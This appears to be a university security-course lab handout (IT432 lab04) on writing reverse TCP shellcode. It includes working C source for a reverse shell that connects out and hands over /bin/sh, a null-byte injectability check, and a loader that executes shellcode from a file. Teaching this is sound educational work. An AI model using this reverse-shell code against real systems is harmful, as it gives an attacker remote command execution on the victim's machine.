In this lab, we create a reverse TCP shellcode.

[10pts] Part 1: Reverse Shell in C

See the following code revsh.c.

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

int main()
{
  //printing helpful info:
  printf("AF_INET: %d\n", AF_INET);
  printf("SOCK_STREAM: %d\n", SOCK_STREAM);
  printf("sizeof(sockaddr_in): %ld\n", sizeof(struct sockaddr_in));

  //create a socket
  int sockfd = socket(AF_INET, SOCK_STREAM, 0);

  //connect to 127.0.0.1
  struct sockaddr_in server = {0};
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = inet_addr("127.0.0.1");
  server.sin_port = htons(8000);
  connect(sockfd, (struct sockaddr *)&server, sizeof(server));

  // set up redirections
  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  // launch a shell
  char* file = "/bin/sh";
  char* argv[2];
  argv[0] = file;
  argv[1] = 0;
  char** env = 0;
  execve(file, argv, env);

  return 0;
}

Your Task

  • Read the code very carefully. You have to completely understand this code so you can translate this code into assembly code. If you don't know exactly how the system functions (e.g., socket, connect, dup2, execve) or struct sockaddr_in, learn about them by using Google or reading some manual pages.
  • Compile the code and see if the code creates a reverse TCP shell.
  • Note that the program tries to connect to 127.0.0.1 at port 8000. So, you need to have a nc program listening at port 8000 for the reverse shell.

Submit

In your lab report, give the screenshot of a sample run.

[40pts] Part 2: Reverse Shell In Assembly

Your Task

Hint: socket() and dup2() are also system calls.

Common Mistakes

Submit

[35pts] Part 3: Reverse Shellcode!

Your Task

Use objdump to obtain the binary machine code for revsh_asm.c and store the binary in rs.bin. You may want to closely follow the procedure detailed in the lecture notes on shellcode.

Your shellcode should satisfy these requirments

  1. Your shellcode should pass the injectability test.
    
    def injectable(code_data):
      if b" " in code_data or b"\n" in code_data \
        or b"\r" in code_data or b"\t" in code_data \
        or b"\0" in code_data:
        return False
      return True
    
  2. Your shellcode should not be too long. Make sure the shellcode is at most 200 bytes long. Try to optimize the use of registers.
  3. Your shellcode rs.bin should create a reverse shell when you run the program runthis3.c.
    
    // runthis3.c
    #include <stdio.h>
    int main()
    {
       // read the shell code into data
       char data[256];
       FILE* fin = fopen("rs.bin", "rb");
       fread(data, sizeof(char), 256, fin);
       fclose(fin);
    
       void(*f)();                // Declare a variable f
                                  //  f is a pointer to a function with prototype
                                  //  void some_func_name ();
    
       f = (void(*)()) data;   // The pointer f now points to data (shellcode)
    
       f();                       // call f:
                                  //  since f points to the shellcode,
                                  //  the shellocode will be executed as a function!
    
        return 0;
    }
    
If necessary, you have to go back to Part 2 and modify the assembly code to satisfy these requirements.

Submit

[15pts] Part 4: Lab Report and Submission

Write a lab report by using the provided template (check the lab ground rules). The writing quality of the lab report matters.
~/bin/submit -c=IT432 -p=lab04 lab04_report.doc rev_asm.c rs.bin